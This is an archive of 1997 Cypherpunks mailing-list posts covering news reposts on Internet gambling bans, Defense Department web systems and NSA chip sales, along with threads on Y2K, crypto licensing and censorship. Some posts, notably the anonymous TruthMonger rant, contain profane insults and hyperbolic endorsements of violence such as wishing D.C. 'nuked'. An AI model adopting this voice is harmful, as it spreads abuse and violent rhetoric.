   "Unlike the heavily regulated casinos in Nevada, Internet wagering is
   unregulated, and since many of these sites operate off-shore it is
   beyond the reach of U.S. authorities," he said. "Such a scenario is
   ripe for consumer fraud."
   
   Web gambling is catching on rapidly, with one estimate reporting 25
   gaming sites and 100 more in the works. Bryan called Internet betting
   "something that's kind of mushroomed."
   
   Internet users can gamble online with a credit card or by setting up
   an account. There is no way to stop children from gambling on the
   information superhighway, say supporters of the Kyl bill.
   
   "Bringing gaming directly into people's homes, as we are beginning to
   see through the Internet, is so full of potential problems and so far
   beyond the ability of any state to regulate that despite whatever
   business potential it may have it needs to be prohibited on a national
   level," Bryan said.
   
   Kyl's bill, backed by the National Association of Attorneys General,
   would punish those who set up Internet gaming Web sites with a fine of
   up to $10,000, two years in prison or both. Those who made an online
   wager would face one year in prison and a $5,000 fine.
   
   [2]| Top of page | 

References

   1. LYNXIMGMAP:http://www.dailybulletin.com/news/7-29_b8_EXTRA_Internet.html#navbar
   2. http://www.dailybulletin.com/news/7-29_b8_EXTRA_Internet.html#a






From frogfarm at yakko.cs.wmich.edu  Tue Jul 29 16:02:20 1997
From: frogfarm at yakko.cs.wmich.edu (Damaged Justice)
Date: Wed, 30 Jul 1997 07:02:20 +0800
Subject: 0728dod.html
Message-ID: <199707292309.TAA24696@yakko.cs.wmich.edu>




   [1][ISMAP]
   [2]
   [LINK] [LINK]
   [1.][January..] ___Audio
                     ___Video __ [3][ISMAP]-[4][USEMAP]
                           [5][ISMAP]-[6][USEMAP]
                               July 29, 1997
                                      
                Internet Technology Invades Dept. Of Defense
                         (07/228/97; 4:00 p.m. EDT)
                By Saroja Girishankar, [7]CommunicationsWeek
                                      
    When it comes to embracing Web technologies, no organization in the
    world has mobilized its forces as extensively as the U.S. Department
                                of Defense.
                                      
    In what could become a textbook example for other nations and major
      businesses, the DOD's deployment of Web servers and browsers is
   expected to encompass 2 million users across an assortment of military
   and civilian agencies, making it the world's largest single community
    of Web users. To date, 1.5 million Web browsers have been installed
            across DOD's classified and nonclassified intranets.
                                      
   Already, Web servers at 16 major server sites, applications across 530
    military command sites and an additional 37 component command sites
   provide a secure environment for tens of thousands of high-level Army,
     Navy and Air Force personnel, plus the joint chiefs of staff. They
    will use it to plan military exercises, perform logistics for troop
      movement, ready medical services and other operations related to
                                  combat.
                                      
   The ultimate goal is to provide all military personnel in need with a
    single, multimedia view of military command, control, communications
    and intelligence information, regardless of where they are located,
    according to Frank Perry, technical director for the engineering and
      interoperability directorate and the joint interoperability and
                         engineering organization.
                                      
       Perry said Web technologies, from basic E-mail, newsgroups and
    Internet chat rooms to more advanced Java programs, are making that
                                 possible.
                                      
                           Extending DOD's Reach
                                      
    "The Web browser and applications have made a profound difference in
    getting more and more things to more and more people in the DOD, and
      basically have given us a broader, faster and simpler reach for
     various applications in a truly network-centric way," Perry said.
                                      
   One area where this plays out is managing the movement and deployment
                         of U.S. troops in Bosnia.
                                      
   According to Lt. General Albert Edmonds, who last month retired after
     a three-year stint as director of the Defense Information Systems
      Agency (DISA), and who oversaw the Web implementations, critical
     information related to the deployments were downloaded and easily
     replicated across secure Web servers that could be accessed by all
                             parties involved.
                                      
     Regardless of the different desktops and laptops, personnel could
    download and access information, and the distributed format reduced
    bandwidth congestion as well. Before the Web rollout, most databases
     were on mainframes and could be accessed only by a small group of
                                  people.
                                      
      The DOD, along with other government agencies, has for some time
   relied on commercial products and technologies for faster development
       and lower costs. DISA, which is responsible for operating four
     networks -- the Defense Information Systems Network (DISN), Global
   Command and Control System (GCCS), Global Combat Support System (GCCS)
        and the Defense Messaging System (DMS) -- under the umbrella
   organization called the Defense Information Infrastructure -- has been
       moving its antiquated mainframe-based networks to distributed
         [8]TCP/IP[LINK] networks and other emerging technologies.
                                      
      According to Perry, all GCCS users are being moved to Windows NT
   desktops outfitted with browsers from both Netscape Communications and
     Microsoft. This enables them to exchange E-mail and participate in
    newsgroups and Internet relay chat for planning military exercises.
                                      
   For GCCS and GCSS users who have real-time needs of even more reliable
    and secure access, existing Unix clients will be retained. Users who
   have traditionally been using Unix-client software are being gradually
   moved to thin clients that use browsers with Java applets. Over time,
            all GCSS users will also be given similar software.
                                      
   Lastly, both GCCS and GCSS are moving to Java-based applications with
     authentication and cryptographical capabilities required for high
     security. Perry said Microsoft's [9]ActiveX[LINK] has not been an
   option because it allows executable content to move around distributed
     environments in a mobile mode and raises security questions. Java
    Virtual Machine and its sandbox construction offer better assurance,
                                  he said.
                                      
    Perry said GCCS and GCSS operate over a high-security TCP/IP router
    network called the Secret Internet Protocol Router Network that has
   500 core routers as well as hundreds of routers at regional and local
    networks linked to a WAN using a [10]T3[LINK] line. A nonclassified
    network, called the Nonclassified Internet Protocol Router Network,
       which is made up of [11]ATM[LINK] switches and TCP/IP routers,
    provides the basic infrastructure for all of DOD. Although only data
    traffic now goes over ATM, plans are for future transmission of all
               voice, data and video over that cell network.
                                      
                      DMS Affected By Web Technologies
                                      
   The adoption of Web technologies is affecting plans for the DMS. Perry
      and Tom Clark, the DMS program manager, said they will adopt the
     emerging Internet Message Access Protocol 4 -- the Internet E-mail
     standard that promises to let disparate E-mail clients and servers
    talk to each other. DMS, which is expected to have 250,000 users by
      year's end and 2 million during the next few years, is an X.400
          electronic messaging backbone under construction at DOD.
                                      
   DISA said the GCCS, which replaced the older mainframe-based Worldwide
      Military Command and Control System, was completed in 21 months
    instead of the typical five years previously required. In addition,
   the agency said it expects savings of $260 million in the systems and
       operational costs of its networks during the next five years.
                                      
   "Using and adapting the commercial Web technologies permits [the DOD]
    not to spend 20 years building military-unique systems from scratch
    and it requires less training of our users," said Emmett Paige Jr.,
      president and COO at OAO, a Greenbelt, Md., systems integrator.
                                      
      Paige was the Assistant Secretary of Defense (Command, Control,
      Communications and Intelligence) until he retired last month. He
    headed the DOD's adoption of a common operating environment and the
                  move to TCP/IP and Web technologies. end
                                      
                           Related articles from:
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References

   1. http://192.215.107.71/general/logos/brandbar.gif.map
   2. http://www.techweb.com/cgi-bin/ad_client.cgi?creativeId=1986&pubId=16&cmd=click_ad&position=1&campaignId=1539&pageName=%2Fwire%2Fnews%2Fjul%2F0728dod.html
   3. http://www.techweb.com/ads/graphics/tw/right2.map
   4. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#right2
   5. http://192.215.107.71/general/logos/secbar.map
   6. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#SECBAR
   7. http://www.techweb.com/cw
   8. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=TCP/IP
   9. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=ActiveX
  10. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=T3
  11. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=ATM
  12. http://www.techweb.com/search/search.html
  13. http://192.215.107.71/delivery/delivery.html
  14. http://www.techweb.com/cgi-bin/ad_client.cgi?creativeId=4246&pubId=16&cmd=click_ad&position=TechWireTOC&campaignId=1932&pageName=%2Fwire%2Fnews%2Fjul%2F0728dod.html
  15. http://192.215.107.71/wire/wire.html
  16. http://192.215.107.71/wire/news/news.html
  17. http://192.215.107.71/wire/wire.html
  18. http://192.215.107.71/wire/industry/industry.html
  19. http://192.215.107.71/investor/newsroom/newsroom.html
  20. http://192.215.107.71/wire/online/online.html
  21. http://192.215.107.71/wire/software/software.html
  22. http://192.215.107.71/wire/networking/networking.html
  23. http://192.215.107.71/wire/chips/chips.html
  24. http://192.215.107.71/wire/products/products.html
  25. http://192.215.107.71/wire/international/international.html
  26. http://www.techweb.com/search/search.html
  27. http://www.techweb.com/encyclopedia/
  28. http://www.techweb.com/encyclopedia/
  29. http://www.techweb.com/cgi-bin/ad_client.cgi?creativeId=8606&pubId=16&cmd=click_ad&position=236&campaignId=8814&pageName=%2Fwire%2Fnews%2Fjul%2F0728dod.html
  30. http://192.215.107.71/general/toolbar/toolbarPB.gif.map
  31. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#promomap
  32. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#toolbarmap






From ahoier at juno.com  Tue Jul 29 16:29:25 1997
From: ahoier at juno.com (A Hoier)
Date: Wed, 30 Jul 1997 07:29:25 +0800
Subject: This is an E-Mail Chain Letter!!!!!!!!!!!!!!!!!!!
Message-ID: <19970729.191146.3374.0.ahoier@juno.com>



I'm passing around this letter so write a comment on it then forward it
to  some friends wonce you see 100 names on it E-MAIL it to
ahoier at juno.com.......K
--------------------------------------------------------------------------------------------------------------------
Write 1st comment here then pass on to friend...K






From ghio at temp0104.myriad.ml.org  Tue Jul 29 17:03:00 1997
From: ghio at temp0104.myriad.ml.org (Matthew Ghio)
Date: Wed, 30 Jul 1997 08:03:00 +0800
Subject: y2k problem *serious*
In-Reply-To: <199707290054.RAA21755@netcom13.netcom.com>
Message-ID: <199707292351.QAA24907@myriad.alias.net>



Ray Arachelian wrote:
> And don't forget about the year 2038 problem

This is probably more serious than the year 2000 problem.  Unix/posix has
become the de facto standard operating system.  Apple has already migrated
to a unix/mach kernel.  Even Microsoft's NT has substantial amounts of
unix-derived code.  You're kidding yourself if you think this software
won't be around in some form fourty years from now.

The fix is (seemingly) simple:
  typedef unsigned long int time_t;

Which will give you a year 2106 problem instead. :)

That'll at least fix most email systems.  InterNetNews will need a bit
more work to prevent it from trashing its history file come 3:14am
on January 19, 2038.

"Death of usenet predicted; film at 11..."






From tcmay at got.net  Tue Jul 29 17:20:20 1997
From: tcmay at got.net (Tim May)
Date: Wed, 30 Jul 1997 08:20:20 +0800
Subject: Thoughtcrime
In-Reply-To: <19970729191728.25870.qmail@zipcon.net>
Message-ID: 



At 1:50 PM -0700 7/29/97, Declan McCullagh wrote:
>Now *this* is a Subject: line I never expected to see flash across my
>screen...
>
>Since dejanews.com is on that swamp-list, I suspect pathfinder.com may
>appear as well.
>
>Banning images or text because they might lead to impure thoughts or even
>criminal actions is odd. It makes individuals *less* responsible for what
>they do, and refuses to admit the possibility of free will...
>


One word explains this and similar laws: "thoughtcrime."



--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alan at ctrl-alt-del.com  Tue Jul 29 17:22:29 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Wed, 30 Jul 1997 08:22:29 +0800
Subject: y2k problem *serious*
In-Reply-To: <199707292351.QAA24907@myriad.alias.net>
Message-ID: 



On Tue, 29 Jul 1997, Matthew Ghio wrote:

> Which will give you a year 2106 problem instead. :)
> 
> That'll at least fix most email systems.  InterNetNews will need a bit
> more work to prevent it from trashing its history file come 3:14am
> on January 19, 2038.
> 
> "Death of usenet predicted; film at 11..."

It just means that some of us will still be around when it all comes
crashing down around us.

Short sightedness will be a problem long into the future and beyond.  With
current management trends, it should actually escalate.  Soon the networks
of the world will resemble "Information Rope Bridges" like in some jungle
adventure movie.  You fear to use them because they might snap and send
your data hurling to its death at the bottom of /dev/null.  And to shore
up the problem, we will get more "quality initiatives", quick fixes
filtered through "media awareness", and more useless gunge.  And it will
all be held together by a couple of engineers who will get fired because
they did not have the right attitude or refused to wear a neck-tie.

The death of the net will not be caused by hidden date problems or
anything publicised.  The last words for the net will be someone from
marketing saying "what does this red button do?.

But remember:

"Future events like these will happen to you in the future."

(Sorry for the rambling...  Going insane installing Oracle on a Sparc...)

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From whgiii at amaranth.com  Tue Jul 29 17:28:30 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 30 Jul 1997 08:28:30 +0800
Subject: Declan Does Boylove
In-Reply-To: 
Message-ID: <199707300024.TAA28244@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 07/29/97 
   at 04:50 PM, Declan McCullagh  said:

>Now *this* is a Subject: line I never expected to see flash across my
>screen...

>Since dejanews.com is on that swamp-list, I suspect pathfinder.com may
>appear as well.

>Banning images or text because they might lead to impure thoughts or even
>criminal actions is odd. It makes individuals *less* responsible for what
>they do, and refuses to admit the possibility of free will...

There is nothing odd about it. This is the SOP for these Nazi bastards. It
is the central theme with the anti-crypto, pro-ratinging crowd.

Their only goal is to have the power to contol what you can and can not
say. If you deviate from their moral code they want the power to punish
you with the force of the state.

This is no different then the Holy Roman Church back in the dark ages. If
you say that the world if round against church doctrin they will put you
on the rack.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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xK4kgS7m2oaeFOws1NaMU4hHi+7cXnT59cW5/tECE0+QjUVf7cNDlkaWsvgB1Q2n
+kvJN3z9AialohuSaF3HQfAjp/W+h/1R7pLy2l4alIBqc1cvw3C8/JjpnHbQq35O
zwPiTxVyC5s=
=Qrvm
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From timd at consensus.com  Tue Jul 29 17:35:45 1997
From: timd at consensus.com (Tim Dierks)
Date: Wed, 30 Jul 1997 08:35:45 +0800
Subject: Attorneys: RSA patent invalid
In-Reply-To: 
Message-ID: 



Michael C Taylor  wrote:
>At 05:29 PM 23/07/97 -0700, you wrote:
> >$25K upfront is prohibitively expensive for freeware and
> >for garage-shop programmers.  It's a drop in the bucket for a
> >large project such as Netscape that wants to add some security,
> >but in a 3-person-month email widget it's excessive.
> >
> >On the other hand, it's now possible to license RSAREF for a much
> >more reasonable fee from Concentric; I think it's just per-copy
> >rather than a big up-front hit.
>
> As of March, 1997 Consensus Development (www.consensus.com) stopped
> licensing RSAREF for a very reasonable amount (~$200 US + 2-3% range I
> think it was??)
>
> Consensus' "SSL Plus" toolkit requires licensee to also license BSAFE from
> RSADSI.
>
> Maybe too many people were using commerical RSAREF licenses rather than the
> BSAFE toolkit.

In truth, issues surrounding the functionality and licensing requirements
of RSAREF meant that it wasn't a sustainable business for us, so we decided
to return the rights to RSA. The license fee was no upfront + 5%. While the
upfront was cheap, the percentage was significantly higher than what can be
negotiated for BSAFE from RSA. This, plus the limited functionality of the
RSAREF toolkit (both technically and due to license restrictions), meant
that most customers preferred to just get BSAFE. This limited commercial
demand is the same reason why we currently don't support RSAREF in SSL Plus.

Please cc me on any responses, as I don't read Cypherpunks any more. (I
found this posting on Bob Hettinga's e$pam).

 - Tim

Tim Dierks - timd at consensus.com - www.consensus.com
     Software Haruspex - Consensus Development
  Developer of SSL Plus: SSL 3.0 Integration Suite







From nobody at REPLAY.COM  Tue Jul 29 17:59:53 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 08:59:53 +0800
Subject: Screw SAFE / Re: Majority in house support SAFE encryption bill, from SPAlert
Message-ID: <199707300043.CAA23727@basement.replay.com>



> MAJORITY IN HOUSE SUPPORT PASSAGE OF ENCRYPTION BILL

> "On the other side of Capitol Hill, however, the
> ghost of J. Edgar Hoover lurks in the cloakrooms of the Senate.  Rather
> than taking a courageous stand for America, some Senators would rather
> follow the administration's play book, trading personal freedoms for what
> they themselves admit is only marginal improvement."

  Screw SAFE, and screw the Senate.
  The Military-Industrial complex is switching their web network to
utilize the tools developed by the free market. The reason is that
the anal-retentive robots that they employee are incapable of
producing products and services at the same level as those which
are produced by free men.
  Let the fascist fucks in the Senate and at the DOD fiddle while 
D.C. burns. Let them fuck up the American crypto industry with Brave
New Clipper Chips while free men in other countries develop the
technology that will enable them to slip the Pentagon a cold, hard
one up the butt and free us from the bulimic Senate swine.

  It's better that we should let foreigners with strong crypto take
care of nuking D.C. for us. Perhaps this is what Clinton's Chinese
campaign contributors have in mind. Perhaps the Chinese are actually
the ones behind the scenes calling the shots in the Whithouse stand
on opposing strong U.S.-developed encryption.
  No doubt foreign spies and terrorists are vocal supporters of the
Whitehouse's stance on encryption and key escrow. (As are the
money-grubbers who can't wait to take advantage of having access
to corporate America's private communications.)

  I guess those who have given up their guns to those who oppose the
Constitution should start taking some foreign language classes.

TruthMonger






From whgiii at amaranth.com  Tue Jul 29 18:08:14 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 30 Jul 1997 09:08:14 +0800
Subject: Gone for vacation
Message-ID: <199707300105.UAA28700@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

Hi,

I will be on a much needed vacation for the next couple of weeks in
Chicago.

If any CP's wish to get together this weekend while I am up there please
let me know by Wed afternoon.

I'll be droping my subsrciptions down to only the ssz list for the
duration of my vacation.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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G9FMA7nMw2Bn7ERf5oaBl1yDnVj+LGUOPO6+/aa2iRL7vXvgSzWuNDG2HkQYD8GB
GnAuYljAyLmKjCYChtIaaEgfax5r9NYOgEV8U3beRYoUlAZNY9icn6tZ1+MOGxlo
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=e4Q4
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From whgiii at amaranth.com  Tue Jul 29 18:09:09 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 30 Jul 1997 09:09:09 +0800
Subject: y2k problem *serious*
In-Reply-To: 
Message-ID: <199707300059.TAA28643@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
07/29/97 
   at 05:16 PM, Alan  said:


>On Tue, 29 Jul 1997, Matthew Ghio wrote:

>> Which will give you a year 2106 problem instead. :)
>> 
>> That'll at least fix most email systems.  InterNetNews will need a bit
>> more work to prevent it from trashing its history file come 3:14am
>> on January 19, 2038.
>> 
>> "Death of usenet predicted; film at 11..."

>It just means that some of us will still be around when it all comes
>crashing down around us.

>Short sightedness will be a problem long into the future and beyond. 
>With current management trends, it should actually escalate.  Soon the
>networks of the world will resemble "Information Rope Bridges" like in
>some jungle adventure movie.  You fear to use them because they might
>snap and send your data hurling to its death at the bottom of /dev/null. 
>And to shore up the problem, we will get more "quality initiatives",
>quick fixes filtered through "media awareness", and more useless gunge. 
>And it will all be held together by a couple of engineers who will get
>fired because they did not have the right attitude or refused to wear a
>neck-tie.

>The death of the net will not be caused by hidden date problems or
>anything publicised.  The last words for the net will be someone from
>marketing saying "what does this red button do?.

Well I really have to laugh my ass off over the Y2K thingy. :)

I get calls on a weekly basis to do Cobol work on the Y2K which of cource
I turn down (anyone who has waited this late to fix the problem is beyond
hope).

Anyone, and I do mean anyone, who has not already resolved any Y2K issues
by now get exactly what they deserve and it would be best for all
concerned if on Jan 1, 2000 they just disappeared (some people are just
too stupid to survive).


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From frissell at panix.com  Tue Jul 29 18:22:59 1997
From: frissell at panix.com (frissell at panix.com)
Date: Wed, 30 Jul 1997 09:22:59 +0800
Subject: CanadaBanAna Censors US TV (and bans decryption)
In-Reply-To: <199707270408.GAA12295@basement.replay.com>
Message-ID: <3.0.2.32.19970729210935.03611ad0@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

>   In this judgment, it is illegal for a Canadian to watch HBO and scores
>   of other channels now available in the United States -- even if the
>   service is paid for -- on the grounds that the federal
>   Radiocommunication Act makes it illegal. The act says no person shall
>   decode an encrypted signal without paying for the service and without
>   authorization of the person who has the lawful right in Canada to
>   transmit the signal.

Looks like another case for the WTO.

Canadians have been buying gray market service from Direct TV for a while 
now.  Hard to stop.

DCF
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From ant at notatla.demon.co.uk  Tue Jul 29 18:48:50 1997
From: ant at notatla.demon.co.uk (Antonomasia)
Date: Wed, 30 Jul 1997 09:48:50 +0800
Subject: upside of y2k
Message-ID: <199707300022.BAA05188@notatla.demon.co.uk>




Vladimir Z. Nuri wrote:
   
>    Speaking of banks, what if your savings account is in XYZSavings and
>    Loan of South Poobah? If depositors begin to worry about XYZ's
>    year-2000 compliance in late 1999, will they begin withdrawing all of
>    their money? If they do, will you be able to withdraw your money on
>    January 3, 2000? Indeed, given the delicate balance of the fractional
>    reserve system used by banks, it doesn't take a very large percentage
>    of panicky customers to cause a bank run. The worst-case scenario in
>    this area is pretty scary -- it might not be just the XYZSavings and
>    Loan that suffers a bank run, but the big banks too. If the banks
>    close for more than a couple of days, then how does the government
>    collect taxes? If the government can't collect taxes, what happens to
>    the value of its bonds, T-bills, and other financial instruments?
   
On Tue, 29 Jul 1997, Anonymous wrote:

>   There is an underground computer organization in place which is
>   actively working toward sabotaging government and corporate efforts
>   to resolve the Year 2000 problems. 

This all reminds me of the old Polish joke....

Man takes week's wages into his bank, and he hands it over the counter
he has second thoughts, so he asks the teller "What if the bank collapses ?"

T: "Easy, sir.  We're in a federation that will bail us out."

C: "And if it's widespread, beyond the scope of the federation ?"

T: "Then the government bails us out."

C: "What, our Polish government ?  It could be too much for them."

T (getting bored): "Then the _Soviet_ government gets involved."

C: "It could get really big, affecting a number of satellites
    what if it gets beynd the reach of the Soviet gov ? I mean,
    it could result in the collapse of communism!"

T: "And isn't that worth a week's wages ?"


--
###############################################################
# Antonomasia   ant at notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################






From ravage at ssz.com  Tue Jul 29 21:01:03 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 30 Jul 1997 12:01:03 +0800
Subject: National Security Agency markets commercial ASICs (fwd)
Message-ID: <199707300347.WAA15604@einstein.ssz.com>



Hi,

This has to be a first. Usually the central government wants its citizens to
pay taxes. What a novel idea investing our tax dollars this way.

When can we expect to get our dividends as tax payers and therefore inherent
investors in this little enterprise?

Sounds like somebody in the NSA is getting ready to have their collective
butts fried...


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|



Forwarded message:

> From owner-cypherpunks at ssz.com Tue Jul 29 15:59:12 1997
> Message-ID: <33DE5CF2.2424 at nwdtc.com>
> Date: Tue, 29 Jul 1997 14:13:22 -0700
> From: Alan Olsen 
> Organization: Xerox Business Services - NW DTC
> X-Mailer: Mozilla 3.01 (X11; U; SunOS 5.5.1 sun4m)
> MIME-Version: 1.0
> To: cypherpunks at algebra.com
> Subject: National Security Agency markets commercial ASICs
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
> Sender: owner-cypherpunks at ssz.com
> Precedence: bulk
> X-Mailing-List: cypherpunks at ssz.com
> X-List-Admin: list at ssz.com
> X-Loop: ssz.com
> http: //techweb.cmp.com/eet/news/97/965news/national.html
> 
> National Security Agency markets commercial ASICs
> By Loring Wirbel
> 
> SNOWMASS, Colo. -- On a scale unprecedented for a government
> intelligence arm, the National Security Agency (NSA) is expanding its
> selling of
> ASICs and design services, even offering commercial semiconductor
> designs for selected space-based and terrestrial applications. 
> 
> Terry Brown, NSA deputy chief of microelectronics, said the customer
> list will still be so specialized that the agency won't compete directly
> against
> developers of military ASICs and rad-hard devices. "Any customer of ours
> would still require a government sponsor at some level," he said. 
> 
> Nevertheless, at an IEEE conference held recently, representatives of
> Harris Semiconductor and UTMC Microelectronic Systems wondered how and
> why a secret government agency would compete against them. 
> 
> One representative of a commercial IC house, who asked not to be
> identified, said, "Whenever the government thinks it can sell products
> to OEMs, it
> inherently raises some problems." 
> 
> The commercial efforts involve NSA's 6-inch CMOS fab, run by National
> Semiconductor Corp., at NSA headquarters in Fort Meade, Md., and a
> Microelectronics Research Lab run by NSA at an undisclosed Maryland
> location. The agency has developed special ASICs for selected customers
> ever since National helped open the fab in the late 1980s. Some, such as
> the Mykotronx division of Rainbow Technologies Inc., were partners in
> crypto chips, while others sought NSA expertise in radiation-hardness
> for space applications. 
> 
> Looking to expand that customer base, the agency has named Leland Miller
> its first director of marketing for microelectronics. At the IEEE
> Nuclear
> and Space Radiation Effects Conference, NSA had a large trade booth
> advertising the capabilities of "NSA Microelectronics." 
> 
> Brown said NSA has special talent in data-path design, used in signal
> and image processing but ignored by many ASIC vendors. 
> 
> NSA's fab has a library of more than 100 standard cells, optimized for
> CMOS feature sizes from 0.5 to 1.2 microns. The fab handles double- and
> triple-metal designs and is just beginning to add non-volatile EPROM and
> E2PROM cell capabilities.
> 






From enoch at zipcon.net  Tue Jul 29 21:06:02 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Wed, 30 Jul 1997 12:06:02 +0800
Subject: Thoughtcrime
In-Reply-To: 
Message-ID: <19970730035809.15004.qmail@zipcon.net>



Tim writes:

> One word explains this and similar laws: "thoughtcrime."

An interesting aside.  A reliable source tells me that the thing that
pushed XtatiX.com over the edge was a threat by US Customs to seize all
their equipment for

"Investigation of an International Child Pornography Ring" 

Note this is merely an "investigation,"  not even an allegation that a
crime has actually occurred.  Apparently, they seize all your assets, then
investigate, and keep them regardless of the outcome.

XtatiX, consisting of two not particularly wealthy guys and a Linux box,
had no alternative but to remove from their system free speech the Feds
didn't like, in order to remain in business.

The thumbscrews of Democracy work in mysterious ways. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}









From ravage at ssz.com  Tue Jul 29 21:38:27 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 30 Jul 1997 12:38:27 +0800
Subject: Thoughtcrime (fwd)
Message-ID: <199707300418.XAA15705@einstein.ssz.com>



Forwarded message:

> Subject: Re: Thoughtcrime
> Date: Tue, 29 Jul 1997 20:58:09 -0700 (PDT)
> From: Mike Duvos 
> 
> An interesting aside.  A reliable source tells me that the thing that
> pushed XtatiX.com over the edge was a threat by US Customs to seize all
> their equipment for
> 
> "Investigation of an International Child Pornography Ring" 
> 
> Note this is merely an "investigation,"  not even an allegation that a
> crime has actually occurred.  Apparently, they seize all your assets, then
> investigate, and keep them regardless of the outcome.
> 
> XtatiX, consisting of two not particularly wealthy guys and a Linux box,
> had no alternative but to remove from their system free speech the Feds
> didn't like, in order to remain in business.
> 
> The thumbscrews of Democracy work in mysterious ways. :)

This is a cop-out attitude. They should have screamed bloody murder and
demanded at least a public apology. Every commercial customer should
understand their right to sue for losses related to 'work in progress' and
for such seizures to be legal must be explicity listed on the search
warrant. Simply buying service from a company isn't worth the hassle to push
as probable cause, especialy if wrong even in one instance.

Hell, if they make less than a million a year each now it is in their best
interest to fight. The income potential alone is worth it assuming they had
the moxy to figure out a good way to market it. Which might be a novel
tactic to use, "screw with me and I'll make money off it, screw with me more
and I'll make even more..."

If the NSA can take our federaly mandated tax dollars to run a commercial
enterprise in the market they set legislation for why should anyone object
to others making a profit off their actions?

We need an amendment something akin to the 1st relating to the relationship
between government and commercial enterprise.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From CBRAT97 at aol.com  Tue Jul 29 22:19:45 1997
From: CBRAT97 at aol.com (CBRAT97 at aol.com)
Date: Wed, 30 Jul 1997 13:19:45 +0800
Subject: Work at Home
Message-ID: <970730010646_378681795@emout17.mail.aol.com>



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remove it.

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From apache at bear.apana.org.au  Tue Jul 29 23:22:44 1997
From: apache at bear.apana.org.au (Apache)
Date: Wed, 30 Jul 1997 14:22:44 +0800
Subject: 7-29_b8_EXTRA_Internet.html
In-Reply-To: <199707292306.TAA24682@yakko.cs.wmich.edu>
Message-ID: <199707300610.QAA06254@bear.apana.org.au>




>    "Bringing gaming directly into people's homes, as we are beginning to
>    see through the Internet, is so full of potential problems and so far
>    beyond the ability of any state to regulate that despite whatever
>    business potential it may have it needs to be prohibited on a national
>    level," Bryan said.

Translation: We can't figure out how to tax these pricks so we'll just 
ban it because it represents a perceived threat to our own rigged and 
heavily taxed government sponsored tax collection casino cells.

>    Kyl's bill, backed by the National Association of Attorneys General,
>    would punish those who set up Internet gaming Web sites with a fine of
>    up to $10,000, two years in prison or both. Those who made an online
>    wager would face one year in prison and a $5,000 fine.

Backed by NAAG! Well if that isn't a ringing endorsement I don't know 
what is.

The article quoted starts off with how concerned the gubmint is about the 
possibility of consumer fraud wrt on-line casinos and shows how they 
propose to protect the consumer: 12 months in prison AND a $5000 fine. 
Consumer fraudsters should take note, they have a competitor in the ring!

-- 
